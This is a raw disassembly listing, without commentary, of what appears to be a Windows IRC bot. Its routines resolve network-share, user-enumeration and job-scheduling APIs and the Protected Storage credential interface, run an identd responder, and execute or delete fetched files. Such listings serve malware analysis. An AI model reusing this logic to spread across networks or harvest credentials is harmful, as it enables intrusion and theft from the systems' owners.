pop ecx mov [ebp+arg_0], 3 pop ecx loc_4024D9: ; CODE XREF: sub_402230+1E8j ; sub_402230+258j lea eax, [ebp+var_3C8] push eax call sub_4114BE ; strlen pop ecx mov esi, eax loc_4024E8: ; CODE XREF: sub_402230+2C8j cmp esi, 0FFFFFFFFh jz short loc_40255C cmp [ebp+esi+var_3C8], 40h jz short loc_4024FA dec esi jmp short loc_4024E8 ; --------------------------------------------------------------------------- loc_4024FA: ; CODE XREF: sub_402230+2C5j lea eax, [ebp+var_3C8] push offset asc_413528 ; ":" push eax mov [ebp+esi+var_3C8], bl call sub_411528 ; strstr pop ecx cmp eax, ebx pop ecx mov edi, 80h jz short loc_402531 mov [eax], bl inc eax push edi push eax lea eax, [ebp+var_44C] push eax call sub_4059C2 add esp, 0Ch loc_402531: ; CODE XREF: sub_402230+2EBj lea eax, [ebp+var_3C8] push edi push eax lea eax, [ebp+var_4CC] push eax call sub_4059C2 lea eax, [ebp+esi+var_3C7] push eax lea eax, [ebp+var_3C8] push eax call sub_4114B8 ; _mbscpy add esp, 14h loc_40255C: ; CODE XREF: sub_402230+2BBj lea eax, [ebp+var_3C8] push offset asc_413524 ; "/" push eax call sub_411528 ; strstr mov esi, eax pop ecx cmp esi, ebx pop ecx jnz short loc_402587 mov eax, [ebp+var_3CC] push dword ptr [eax] push offset unk_4134F8 jmp loc_4027A8 ; --------------------------------------------------------------------------- loc_402587: ; CODE XREF: sub_402230+343j lea eax, [esi+1] push eax lea eax, [ebp+var_5D0] push eax call sub_4114B8 ; _mbscpy lea eax, [ebp+var_3C8] mov [esi], bl push eax lea eax, [ebp+var_6D0] push eax call sub_4114B8 ; _mbscpy add esp, 10h call sub_4114E2 ; clock cmp [ebp+arg_0], 1 mov dword ptr [ebp+var_1C+4], eax mov [ebp+var_C], ebx jnz short loc_402605 push [ebp+var_3CC] xor eax, eax cmp [ebp+var_38], bl setnz al push eax lea eax, [ebp+var_C] push eax lea eax, [ebp+var_2C4] push eax lea eax, [ebp+var_5D0] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_6D0] push eax lea eax, [ebp+var_44C] push eax lea eax, [ebp+var_4CC] push eax call sub_402018 add esp, 24h mov dword ptr [ebp+var_14+4], eax loc_402605: ; CODE XREF: sub_402230+38Ej cmp [ebp+arg_0], 2 jnz short loc_402650 push [ebp+var_3CC] xor eax, eax cmp [ebp+var_38], bl setnz al push eax lea eax, [ebp+var_C] push eax lea eax, [ebp+var_2C4] push eax lea eax, [ebp+var_5D0] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_6D0] push eax lea eax, [ebp+var_44C] push eax lea eax, [ebp+var_4CC] push eax call sub_40222D add esp, 24h mov dword ptr [ebp+var_14+4], eax loc_402650: ; CODE XREF: sub_402230+3D9j cmp [ebp+arg_0], 3 jnz short loc_40268D push [ebp+var_3CC] xor eax, eax cmp [ebp+var_38], bl setnz al push eax lea eax, [ebp+var_C] push eax lea eax, [ebp+var_2C4] push eax lea eax, [ebp+var_5D0] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_6D0] push eax call sub_40222D add esp, 1Ch mov dword ptr [ebp+var_14+4], eax loc_40268D: ; CODE XREF: sub_402230+424j cmp dword ptr [ebp+var_14+4], 1 jnz loc_40276A loc_402697: ; CODE XREF: sub_402230+D4j cmp [ebp+var_26], bl jz short loc_4026A3 mov eax, offset dword_4134EC jmp short loc_4026B2 ; --------------------------------------------------------------------------- loc_4026A3: ; CODE XREF: sub_402230+46Aj cmp [ebp+var_36], bl mov eax, offset dword_4134E0 jnz short loc_4026B2 mov eax, offset byte_4191D0 loc_4026B2: ; CODE XREF: sub_402230+471j ; sub_402230+47Bj push eax mov eax, [ebp+var_C] shr eax, 0Ah mov dword ptr [ebp+var_14], eax mov dword ptr [ebp+var_14+4], ebx fild [ebp+var_14] fstp [ebp+arg_0] call sub_4114E2 ; clock sub eax, dword ptr [ebp+var_1C+4] mov dword ptr [ebp+var_1C+4], ebx push ecx push ecx mov dword ptr [ebp+var_1C], eax lea eax, [ebp+var_2C4] fild [ebp+var_1C] fmul flt_412280 fdivr [ebp+arg_0] fstp [esp+7ECh+var_7EC] push eax mov eax, [ebp+var_3CC] push dword ptr [eax] lea eax, [ebp+var_1C0] push offset dword_413498 push eax call sub_4096CB add esp, 1Ch cmp [ebp+var_37], bl jz short loc_40271B lea eax, [ebp+var_2C4] push eax call dword_4120B8 ; DeleteFileA jmp short loc_40278D ; --------------------------------------------------------------------------- loc_40271B: ; CODE XREF: sub_402230+4DAj cmp [ebp+var_36], bl jnz short loc_402725 cmp [ebp+var_26], bl jz short loc_40278D loc_402725: ; CODE XREF: sub_402230+4EEj xor eax, eax cmp [ebp+var_33], bl setz al push eax push ebx lea eax, [ebp+var_2C4] push ebx push eax push offset aOpen ; "open" push ebx call dword_4121E4 cmp eax, 20h jbe short loc_402754 cmp [ebp+var_26], bl jz short loc_40278D call sub_4052DF jmp short loc_40278D ; --------------------------------------------------------------------------- loc_402754: ; CODE XREF: sub_402230+516j lea eax, [ebp+var_2C4] push eax mov eax, [ebp+var_3CC] push dword ptr [eax] push offset dword_413470 jmp short loc_40277E ; --------------------------------------------------------------------------- loc_40276A: ; CODE XREF: sub_402230+461j lea eax, [ebp+var_7D4] push eax mov eax, [ebp+var_3CC] push dword ptr [eax] push offset dword_413440 loc_40277E: ; CODE XREF: sub_402230+F9j ; sub_402230+112j ... lea eax, [ebp+var_1C0] push eax call sub_4096CB add esp, 10h loc_40278D: ; CODE XREF: sub_402230+4E9j ; sub_402230+4F3j ... push [ebp+var_3CC] call sub_406E6F pop ecx jmp short loc_4027C2 ; --------------------------------------------------------------------------- loc_40279B: ; CODE XREF: sub_402230+272j mov eax, [ebp+var_3CC] push dword ptr [eax] push offset unk_413414 loc_4027A8: ; CODE XREF: sub_402230+352j lea eax, [ebp+var_1C0] push eax call sub_4096CB push [ebp+var_3CC] call sub_406E6F add esp, 10h loc_4027C2: ; CODE XREF: sub_402230+569j pop edi pop esi xor eax, eax pop ebx leave retn 4 sub_402230 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4027CB proc near ; CODE XREF: sub_407A76+5DDp var_10 = byte ptr -10h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 10h cmp [ebp+arg_4], 0 push esi jz loc_402879 push 3AFh call sub_4114C4 ; malloc mov esi, eax pop ecx test esi, esi jz loc_402879 push 8 push 7Ah push 61h lea eax, [ebp+var_10] push 4 push eax call sub_40B515 and [ebp+eax+var_10], 0 lea eax, [ebp+var_10] push offset dword_413620 push eax call sub_4114EE ; _mbscat add esp, 1Ch cmp [ebp+arg_8], 0 jnz short loc_402824 lea eax, [ebp+var_10] mov [ebp+arg_8], eax loc_402824: ; CODE XREF: sub_4027CB+51j push ebx push edi mov edi, 104h lea ebx, [esi+4] push edi push [ebp+arg_4] push ebx call sub_4059C2 push edi lea eax, [esi+108h] push [ebp+arg_8] push eax call sub_4059C2 push [ebp+arg_0] lea eax, [esi+20Ch] push eax call sub_40457C add esp, 20h lea eax, [esi+108h] push eax push ebx push offset dword_4135FC push 0 push esi push offset sub_402230 call sub_406D58 add esp, 18h pop edi pop ebx loc_402879: ; CODE XREF: sub_4027CB+Bj ; sub_4027CB+20j pop esi leave retn sub_4027CB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40287C proc near ; CODE XREF: sub_406BBC+7Ep ; sub_406CB2+83p ... var_104 = byte ptr -104h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 104h push ebx push esi push edi push 1 push offset dword_4191DC call sub_407216 mov esi, [ebp+arg_0] xor edi, edi cmp dword_4191D8, edi pop ecx pop ecx mov ebx, eax jz loc_402994 mov edx, [esi] mov eax, 0C0000025h mov edi, offset aException_othe ; "EXCEPTION_OTHER" mov ecx, [edx] cmp ecx, eax ja short loc_4028F1 jz short loc_4028EA cmp ecx, 80000003h jz short loc_4028E3 cmp ecx, 0C0000005h jz short loc_4028DC cmp ecx, 0C000001Dh jnz short loc_402924 mov edi, offset aException_ille ; "EXCEPTION_ILLEGAL_INSTRUCTION" jmp short loc_402924 ; --------------------------------------------------------------------------- loc_4028DC: ; CODE XREF: sub_40287C+4Fj mov edi, offset aException_acce ; "EXCEPTION_ACCESS_VIOLATION" jmp short loc_402924 ; --------------------------------------------------------------------------- loc_4028E3: ; CODE XREF: sub_40287C+47j mov edi, offset aException_brea ; "EXCEPTION_BREAKPOINT" jmp short loc_402924 ; --------------------------------------------------------------------------- loc_4028EA: ; CODE XREF: sub_40287C+3Fj mov edi, offset aException_nonc ; "EXCEPTION_NONCONTINUABLE_EXCEPTION" jmp short loc_402924 ; --------------------------------------------------------------------------- loc_4028F1: ; CODE XREF: sub_40287C+3Dj cmp ecx, 0C000008Dh jb short loc_402924 cmp ecx, 0C0000093h jbe short loc_40291F cmp ecx, 0C0000094h jz short loc_402918 cmp ecx, 0C00000FDh jnz short loc_402924 mov edi, offset aException_stac ; "EXCEPTION_STACK_OVERFLOW" jmp short loc_402924 ; --------------------------------------------------------------------------- loc_402918: ; CODE XREF: sub_40287C+8Bj mov edi, offset aException_int_ ; "EXCEPTION_INT_DIVIDE_BY_ZERO" jmp short loc_402924 ; --------------------------------------------------------------------------- loc_40291F: ; CODE XREF: sub_40287C+83j mov edi, offset aException_flt ; "EXCEPTION_FLT" loc_402924: ; CODE XREF: sub_40287C+57j ; sub_40287C+5Ej ... cmp dword ptr [edx+4], 1 mov edx, offset aRestarting ; "Restarting" jz short loc_402934 mov edx, offset aContinuing ; "Continuing" loc_402934: ; CODE XREF: sub_40287C+B1j mov eax, [esi+4] push edx push edi push ecx push dword ptr [eax+0C0h] push dword ptr [eax+0B8h] push dword ptr [eax+0C4h] push dword ptr [eax+0B4h] push dword ptr [eax+9Ch] push dword ptr [eax+0A0h] push dword ptr [eax+0A8h] push dword ptr [eax+0ACh] push dword ptr [eax+0A4h] push dword ptr [eax+0B0h] lea eax, [ebx+1] push eax push [ebp+arg_8] push [ebp+arg_4] push offset dword_41364C push offset dword_418E50 call sub_409659 add esp, 48h xor edi, edi loc_402994: ; CODE XREF: sub_40287C+27j inc ebx cmp ebx, 64h jz short loc_4029C0 mov eax, [esi] cmp dword ptr [eax+4], 1 jz short loc_4029C0 cmp dword ptr [eax], 80000003h jnz short loc_4029BB mov esi, [esi+4] inc dword ptr [esi+0B8h] or eax, 0FFFFFFFFh loc_4029B6: ; CODE XREF: sub_40287C+142j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_4029BB: ; CODE XREF: sub_40287C+12Cj push 1 pop eax jmp short loc_4029B6 ; --------------------------------------------------------------------------- loc_4029C0: ; CODE XREF: sub_40287C+11Cj ; sub_40287C+124j lea eax, [ebp+var_104] push 104h push eax push edi call dword_412094 ; GetModuleHandleA push eax call dword_412098 ; GetModuleFileNameA test eax, eax jz short loc_402A00 push edi push edi lea eax, [ebp+var_104] push edi push eax push offset aOpen ; "open" push edi call dword_4121E4 cmp eax, 20h ja short loc_402A00 push offset aQuitExitting ; "QUIT :exitting" jmp short loc_402A05 ; --------------------------------------------------------------------------- loc_402A00: ; CODE XREF: sub_40287C+160j ; sub_40287C+17Bj push offset aQuitRestarting ; "QUIT :restarting" loc_402A05: ; CODE XREF: sub_40287C+182j call sub_4097DB pop ecx push edi call dword_412064 ; ExitProcess sub_40287C endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402A12 proc near ; DATA XREF: sub_402D7B:loc_402EACo var_28 = word ptr -28h var_26 = word ptr -26h var_24 = dword ptr -24h var_18 = word ptr -18h var_16 = word ptr -16h var_14 = dword ptr -14h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 28h push ebx push esi push edi mov edi, [ebp+arg_8] xor ebx, ebx cmp edi, ebx jz short loc_402A57 mov eax, [edi+4] cmp eax, ebx jz short loc_402A37 cmp eax, 2 jz short loc_402A37 mov esi, 273Fh jmp short loc_402A49 ; --------------------------------------------------------------------------- loc_402A37: ; CODE XREF: sub_402A12+17j ; sub_402A12+1Cj mov eax, [edi+8] cmp eax, 1 jz short loc_402A57 cmp eax, 2 jz short loc_402A57 mov esi, 273Ch loc_402A49: ; CODE XREF: sub_402A12+23j push esi call dword_412244 ; WSASetLastError mov eax, esi jmp loc_402C0A ; --------------------------------------------------------------------------- loc_402A57: ; CODE XREF: sub_402A12+10j ; sub_402A12+2Bj ... cmp [ebp+arg_0], ebx jnz loc_402AF7 push 30h call sub_4114C4 ; malloc mov esi, eax pop ecx cmp esi, ebx jz loc_402B3E push 30h push ebx push esi call sub_4114E8 ; memset push 10h lea eax, [ebp+var_18] pop ebx push ebx push 0 push eax call sub_4114E8 ; memset add esp, 18h cmp [ebp+arg_4], 0 mov [ebp+var_18], 2 jz short loc_402AAD push [ebp+arg_4] call sub_41151C ; atoi pop ecx push eax call dword_412248 ; htons mov [ebp+var_16], ax loc_402AAD: ; CODE XREF: sub_402A12+85j test edi, edi mov dword ptr [esi+4], 2 jz short loc_402ABD mov eax, [edi+8] jmp short loc_402AC0 ; --------------------------------------------------------------------------- loc_402ABD: ; CODE XREF: sub_402A12+A4j push 1 pop eax loc_402AC0: ; CODE XREF: sub_402A12+A9j test edi, edi mov [esi+8], eax jz short loc_402ACC mov eax, [edi+0Ch] jmp short loc_402ACF ; --------------------------------------------------------------------------- loc_402ACC: ; CODE XREF: sub_402A12+B3j push 6 pop eax loc_402ACF: ; CODE XREF: sub_402A12+B8j mov [esi+0Ch], eax lea ecx, [ebp+var_18] lea eax, [esi+20h] push ebx push ecx mov [esi+10h], ebx mov [esi+18h], eax and [ebp+var_14], 0 push eax call sub_4114D0 ; memcpy mov eax, [ebp+arg_C] add esp, 0Ch mov [eax], esi jmp loc_402C08 ; --------------------------------------------------------------------------- loc_402AF7: ; CODE XREF: sub_402A12+48j push [ebp+arg_0] call dword_41224C ; gethostbyname cmp eax, ebx mov [ebp+var_8], eax jz short loc_402B20 mov eax, [eax+0Ch] xor edi, edi mov [ebp+arg_0], edi loc_402B0F: ; CODE XREF: sub_402A12+105j cmp [eax], ebx jz short loc_402B19 inc edi add eax, 4 jmp short loc_402B0F ; --------------------------------------------------------------------------- loc_402B19: ; CODE XREF: sub_402A12+FFj cmp edi, ebx mov [ebp+arg_0], edi jnz short loc_402B2A loc_402B20: ; CODE XREF: sub_402A12+F3j mov eax, 2AFBh jmp loc_402C0A ; --------------------------------------------------------------------------- loc_402B2A: ; CODE XREF: sub_402A12+10Cj lea esi, [edi+edi*2] shl esi, 4 push esi call sub_4114C4 ; malloc cmp eax, ebx pop ecx mov [ebp+var_4], eax jnz short loc_402B4E loc_402B3E: ; CODE XREF: sub_402A12+5Aj push 8 call dword_412244 ; WSASetLastError push 8 pop eax jmp loc_402C0A ; --------------------------------------------------------------------------- loc_402B4E: ; CODE XREF: sub_402A12+12Aj push esi push ebx push eax call sub_4114E8 ; memset push 10h lea eax, [ebp+var_28] push ebx push eax call sub_4114E8 ; memset add esp, 18h cmp [ebp+arg_4], ebx mov [ebp+var_28], 2 jz short loc_402B84 push [ebp+arg_4] call sub_41151C ; atoi pop ecx push eax call dword_412248 ; htons mov [ebp+var_26], ax loc_402B84: ; CODE XREF: sub_402A12+15Cj test edi, edi jbe short loc_402C00 mov eax, [ebp+var_4] lea esi, [eax+8] loc_402B8E: ; CODE XREF: sub_402A12+1ECj mov eax, [ebp+arg_8] test eax, eax jz short loc_402B99 mov eax, [eax] jmp short loc_402B9C ; --------------------------------------------------------------------------- loc_402B99: ; CODE XREF: sub_402A12+181j push 4 pop eax loc_402B9C: ; CODE XREF: sub_402A12+185j mov ecx, [ebp+arg_8] lea edi, [esi-8] test ecx, ecx mov [edi], eax mov dword ptr [esi-4], 2 jz short loc_402BB4 mov eax, [ecx+8] jmp short loc_402BB7 ; --------------------------------------------------------------------------- loc_402BB4: ; CODE XREF: sub_402A12+19Bj push 1 pop eax loc_402BB7: ; CODE XREF: sub_402A12+1A0j test ecx, ecx mov [esi], eax jz short loc_402BC2 mov eax, [ecx+0Ch] jmp short loc_402BC5 ; --------------------------------------------------------------------------- loc_402BC2: ; CODE XREF: sub_402A12+1A9j push 6 pop eax loc_402BC5: ; CODE XREF: sub_402A12+1AEj mov edx, [ebp+var_8] push 10h mov [esi+4], eax pop ecx lea eax, [esi+18h] mov [esi+8], ecx mov [esi+10h], eax mov edx, [edx+0Ch] push ecx lea ecx, [ebp+var_28] mov edx, [edx+ebx*4] push ecx push eax mov edx, [edx] mov [ebp+var_24], edx call sub_4114D0 ; memcpy add esp, 0Ch test ebx, ebx jz short loc_402BF7 mov [esi-1Ch], edi loc_402BF7: ; CODE XREF: sub_402A12+1E0j inc ebx add esi, 30h cmp ebx, [ebp+arg_0] jb short loc_402B8E loc_402C00: ; CODE XREF: sub_402A12+174j mov eax, [ebp+arg_C] mov ecx, [ebp+var_4] mov [eax], ecx loc_402C08: ; CODE XREF: sub_402A12+E0j xor eax, eax loc_402C0A: ; CODE XREF: sub_402A12+40j ; sub_402A12+113j ... pop edi pop esi pop ebx leave retn 10h sub_402A12 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402C11 proc near ; DATA XREF: sub_402D7B+13Bo var_424 = byte ptr -424h var_20 = byte ptr -20h arg_0 = dword ptr 8 arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp sub esp, 424h push ebx push esi push edi xor edi, edi cmp [ebp+arg_8], edi jnz short loc_402C29 cmp [ebp+arg_10], edi jz short loc_402C34 loc_402C29: ; CODE XREF: sub_402C11+11j mov ebx, [ebp+arg_18] test ebx, 0FFFFFFE0h jz short loc_402C3E loc_402C34: ; CODE XREF: sub_402C11+16j mov esi, 2726h jmp loc_402D2E ; --------------------------------------------------------------------------- loc_402C3E: ; CODE XREF: sub_402C11+21j mov esi, [ebp+arg_0] cmp word ptr [esi], 2 jz short loc_402C51 mov esi, 273Fh jmp loc_402D2E ; --------------------------------------------------------------------------- loc_402C51: ; CODE XREF: sub_402C11+34j cmp [ebp+arg_8], edi jz loc_402CF4 push dword ptr [esi+4] add esi, 4 call dword_412230 ; inet_ntoa cmp eax, edi jnz short loc_402C72 or eax, 0FFFFFFFFh jmp loc_402D60 ; --------------------------------------------------------------------------- loc_402C72: ; CODE XREF: sub_402C11+57j mov edi, 401h push edi push eax lea eax, [ebp+var_424] push eax call sub_4059C2 add esp, 0Ch test bl, 2 jnz short loc_402CE1 test bl, 4 jz short loc_402CC5 loc_402C92: ; CODE XREF: sub_402C11+C0j ; sub_402C11+C6j push 0 push 4 push esi call dword_412234 ; gethostbyaddr mov esi, eax test esi, esi jz short loc_402CD9 push dword ptr [esi] call sub_4114BE ; strlen inc eax pop ecx cmp eax, [ebp+arg_C] ja short loc_402D29 push edi lea eax, [ebp+var_424] push dword ptr [esi] push eax call sub_4059C2 add esp, 0Ch jmp short loc_402CF4 ; --------------------------------------------------------------------------- loc_402CC5: ; CODE XREF: sub_402C11+7Fj test bl, 1 jz short loc_402CE1 mov eax, [esi] cmp eax, 7F000001h jz short loc_402C92 test eax, eax jnz short loc_402CE1 jmp short loc_402C92 ; --------------------------------------------------------------------------- loc_402CD9: ; CODE XREF: sub_402C11+90j call dword_412238 ; WSAGetLastError jmp short loc_402D60 ; --------------------------------------------------------------------------- loc_402CE1: ; CODE XREF: sub_402C11+7Aj ; sub_402C11+B7j ... lea eax, [ebp+var_424] push eax call sub_4114BE ; strlen inc eax pop ecx cmp eax, [ebp+arg_C] ja short loc_402D29 loc_402CF4: ; CODE XREF: sub_402C11+43j ; sub_402C11+B2j cmp [ebp+arg_10], 0 jz short loc_402D47 lea eax, [ebp+var_20] push 0Ah push eax mov eax, [ebp+arg_0] mov ax, [eax+2] push eax call dword_412248 ; htons movzx eax, ax push eax call sub_41192A ; _itoa lea eax, [ebp+var_20] push eax call sub_4114BE ; strlen add esp, 10h inc eax cmp eax, [ebp+arg_14] jbe short loc_402D39 loc_402D29: ; CODE XREF: sub_402C11+9Ej ; sub_402C11+E1j mov esi, 2747h loc_402D2E: ; CODE XREF: sub_402C11+28j ; sub_402C11+3Bj push esi call dword_412244 ; WSASetLastError mov eax, esi jmp short loc_402D60 ; --------------------------------------------------------------------------- loc_402D39: ; CODE XREF: sub_402C11+116j lea eax, [ebp+var_20] push eax push [ebp+arg_10] call sub_4114B8 ; _mbscpy pop ecx pop ecx loc_402D47: ; CODE XREF: sub_402C11+E7j cmp [ebp+arg_8], 0 jz short loc_402D5E lea eax, [ebp+var_424] push eax push [ebp+arg_8] call sub_4114B8 ; _mbscpy pop ecx pop ecx loc_402D5E: ; CODE XREF: sub_402C11+13Aj xor eax, eax loc_402D60: ; CODE XREF: sub_402C11+5Cj ; sub_402C11+CEj ... pop edi pop esi pop ebx leave retn 1Ch sub_402C11 endp ; =============== S U B R O U T I N E ======================================= sub_402D67 proc near ; DATA XREF: sub_402D7B+145o arg_0 = dword ptr 4 cmp [esp+arg_0], 0 jz short locret_402D78 push [esp+arg_0] call sub_4114CA ; free pop ecx locret_402D78: ; CODE XREF: sub_402D67+5j retn 4 sub_402D67 endp ; =============== S U B R O U T I N E ======================================= sub_402D7B proc near ; CODE XREF: kkrunchy:004112A0p push esi push edi mov edi, dword_41205C push offset aKernel32_dll ; "kernel32.dll" call edi ; LoadLibraryA mov esi, dword_412060 test eax, eax jz short loc_402DA1 push offset aInitializecrit ; "InitializeCriticalSectionAndSpinCount" push eax call esi ; GetProcAddress mov dword_4191E0, eax loc_402DA1: ; CODE XREF: sub_402D7B+17j push ebx push offset aNetapi32_dll ; "netapi32.dll" call edi ; LoadLibraryA mov ebx, eax test ebx, ebx jz short loc_402E24 push offset aNetusegetinfo ; "NetUseGetInfo" push ebx call esi ; GetProcAddress push offset aNetuseadd ; "NetUseAdd" push ebx mov dword_4191E8, eax call esi ; GetProcAddress push offset aNetusedel ; "NetUseDel" push ebx mov dword_4191EC, eax call esi ; GetProcAddress push offset aNetuserenum ; "NetUserEnum" push ebx mov dword_4191F0, eax call esi ; GetProcAddress push offset aNetshareenum ; "NetShareEnum" push ebx mov dword_4191F4, eax call esi ; GetProcAddress push offset aNetremotetod ; "NetRemoteTOD" push ebx mov dword_4191F8, eax call esi ; GetProcAddress push offset aNetapibufferfr ; "NetApiBufferFree" push ebx mov dword_4191FC, eax call esi ; GetProcAddress push offset aNetschedulejob ; "NetScheduleJobAdd" push ebx mov dword_419200, eax call esi ; GetProcAddress push offset aNetaddalternat ; "NetAddAlternateComputerName" push ebx mov dword_419204, eax call esi ; GetProcAddress mov dword_419208, eax loc_402E24: ; CODE XREF: sub_402D7B+32j push offset aMpr_dll ; "mpr.dll" call edi ; LoadLibraryA mov ebx, eax test ebx, ebx jz short loc_402E65 push offset aWnetaddconnect ; "WNetAddConnection2A" push ebx call esi ; GetProcAddress push offset aWnetaddconne_0 ; "WNetAddConnection2W" push ebx mov dword_41920C, eax call esi ; GetProcAddress push offset aWnetcancelconn ; "WNetCancelConnection2A" push ebx mov dword_419210, eax call esi ; GetProcAddress push offset aWnetcancelco_0 ; "WNetCancelConnection2W" push ebx mov dword_419214, eax call esi ; GetProcAddress mov dword_419218, eax loc_402E65: ; CODE XREF: sub_402D7B+B4j push offset aWs2_32_dll ; "ws2_32.dll" call edi ; LoadLibraryA mov ebx, eax push offset aGetaddrinfo ; "getaddrinfo" push ebx call esi ; GetProcAddress push offset aGetnameinfo ; "getnameinfo" push ebx mov dword_419224, eax call esi ; GetProcAddress push offset aFreeaddrinfo ; "freeaddrinfo" push ebx mov dword_419228, eax call esi ; GetProcAddress cmp dword_419224, 0 mov dword_41922C, eax pop ebx jz short loc_402EAC cmp dword_419228, 0 jz short loc_402EAC test eax, eax jnz short loc_402ECA loc_402EAC: ; CODE XREF: sub_402D7B+122j ; sub_402D7B+12Bj mov dword_419224, offset sub_402A12 mov dword_419228, offset sub_402C11 mov dword_41922C, offset sub_402D67 loc_402ECA: ; CODE XREF: sub_402D7B+12Fj push offset aPstorec_dll ; "pstorec.dll" call edi ; LoadLibraryA test eax, eax jz short loc_402EE2 push offset aPstorecreatein ; "PStoreCreateInstance" push eax call esi ; GetProcAddress mov dword_419220, eax loc_402EE2: ; CODE XREF: sub_402D7B+158j push offset aWininet_dll ; "wininet.dll" call edi ; LoadLibraryA test eax, eax jz short loc_402EFA push offset aInternetgetcon ; "InternetGetConnectedStateExA" push eax call esi ; GetProcAddress mov dword_41921C, eax loc_402EFA: ; CODE XREF: sub_402D7B+170j pop edi pop esi retn sub_402D7B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402EFD proc near ; DATA XREF: sub_4030A7+65o var_121C = byte ptr -121Ch var_21C = dword ptr -21Ch var_218 = byte ptr -218h var_212 = byte ptr -212h var_6C = byte ptr -6Ch var_48 = byte ptr -48h var_24 = byte ptr -24h arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 121Ch call sub_411540 push ebx push 1ADh push [ebp+arg_0] lea eax, [ebp+var_21C] push eax call sub_4114D0 ; memcpy push [ebp+arg_0] call sub_4114CA ; free lea eax, [ebp+var_218] push 1 push eax call sub_403644 mov ebx, eax add esp, 18h test ebx, ebx jnz short loc_402F51 push [ebp+var_21C] call sub_406E6F pop ecx xor eax, eax jmp loc_4030A2 ; --------------------------------------------------------------------------- loc_402F51: ; CODE XREF: sub_402EFD+3Fj push esi lea eax, [ebp+var_218] push edi push eax mov eax, [ebp+var_21C] push dword ptr [eax] lea eax, [ebp+var_212] push offset dword_4139C0 push eax call sub_4096CB mov esi, 3E8h push esi push ebx call sub_403767 add esp, 18h loc_402F82: ; CODE XREF: sub_402EFD+189j mov edi, eax mov eax, [ebp+var_21C] cmp dword ptr [eax+4], 0 jnz loc_40308B test edi, edi jz loc_40308B cmp edi, 0FFFFFFFFh jz loc_40307D lea eax, [ebp+var_121C] push 1000h push eax push edi call sub_403DB2 add esp, 0Ch test eax, eax jz loc_403076 cmp eax, 0FFFFFFFFh jz loc_403076 lea eax, [ebp+var_121C] push eax call sub_4114BE ; strlen cmp eax, 10h pop ecx ja loc_403076 cmp byte_41A268, 0 jz short loc_402FFC lea eax, [ebp+var_24] push offset byte_41A268 push eax call sub_4114B8 ; _mbscpy pop ecx pop ecx jmp short loc_40301E ; --------------------------------------------------------------------------- loc_402FFC: ; CODE XREF: sub_402EFD+EBj lea eax, [ebp+var_6C] push eax lea eax, [ebp+var_24] push eax lea eax, [ebp+var_48] push eax call sub_404A70 lea eax, [ebp+var_24] push eax push offset byte_41A268 call sub_4114B8 ; _mbscpy add esp, 14h loc_40301E: ; CODE XREF: sub_402EFD+FDj lea eax, [ebp+var_121C] push offset aUseridUnix ; " : USERID : UNIX : " push eax call sub_4114EE ; _mbscat lea eax, [ebp+var_24] push eax lea eax, [ebp+var_121C] push eax call sub_4114EE ; _mbscat lea eax, [ebp+var_121C] push offset asc_413214 ; "\r\n" push eax call sub_4114EE ; _mbscat lea eax, [ebp+var_121C] push eax call sub_4114BE ; strlen inc eax push eax lea eax, [ebp+var_121C] push eax push edi call sub_403D9D push edi call sub_403D70 add esp, 2Ch jmp short loc_40307D ; --------------------------------------------------------------------------- loc_403076: ; CODE XREF: sub_402EFD+BFj ; sub_402EFD+C8j ... push edi call sub_403D70 pop ecx loc_40307D: ; CODE XREF: sub_402EFD+A2j ; sub_402EFD+177j push esi push ebx call sub_403767 pop ecx pop ecx jmp loc_402F82 ; --------------------------------------------------------------------------- loc_40308B: ; CODE XREF: sub_402EFD+91j ; sub_402EFD+99j push ebx call sub_40392A push [ebp+var_21C] call sub_406E6F pop ecx xor eax, eax pop ecx pop edi pop esi loc_4030A2: ; CODE XREF: sub_402EFD+4Fj pop ebx leave retn 4 sub_402EFD endp ; =============== S U B R O U T I N E ======================================= sub_4030A7 proc near ; CODE XREF: sub_407A76+92Ep arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx mov ebx, [esp+4+arg_4] test ebx, ebx push esi jz short loc_4030BC push ebx call sub_4032A7 test eax, eax pop ecx jnz short loc_4030C1 loc_4030BC: ; CODE XREF: sub_4030A7+8j mov ebx, offset dword_413A14 loc_4030C1: ; CODE XREF: sub_4030A7+13j push 1ADh call sub_4114C4 ; malloc mov esi, eax pop ecx test esi, esi jz short loc_40311A push edi push 6 lea eax, [esi+4] push ebx push eax call sub_4059C2 mov edi, [esp+18h+arg_0] lea eax, [esi+0Ah] push edi push eax call sub_40457C add esp, 14h test edi, edi jz short loc_403101 cmp byte ptr [edi+18Bh], 0 jz short loc_403101 xor eax, eax jmp short loc_403104 ; --------------------------------------------------------------------------- loc_403101: ; CODE XREF: sub_4030A7+4Bj ; sub_4030A7+54j push 1 pop eax loc_403104: ; CODE XREF: sub_4030A7+58j push ebx push offset dword_4139F4 push eax push esi push offset sub_402EFD call sub_406D58 add esp, 14h pop edi loc_40311A: ; CODE XREF: sub_4030A7+29j pop esi pop ebx retn sub_4030A7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40311D proc near ; CODE XREF: sub_40C135+5Ep ; sub_40CAA1+133p var_104 = byte ptr -104h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 104h push esi mov esi, 104h push [ebp+arg_0] lea eax, [ebp+var_104] push offset dword_413A2C push esi 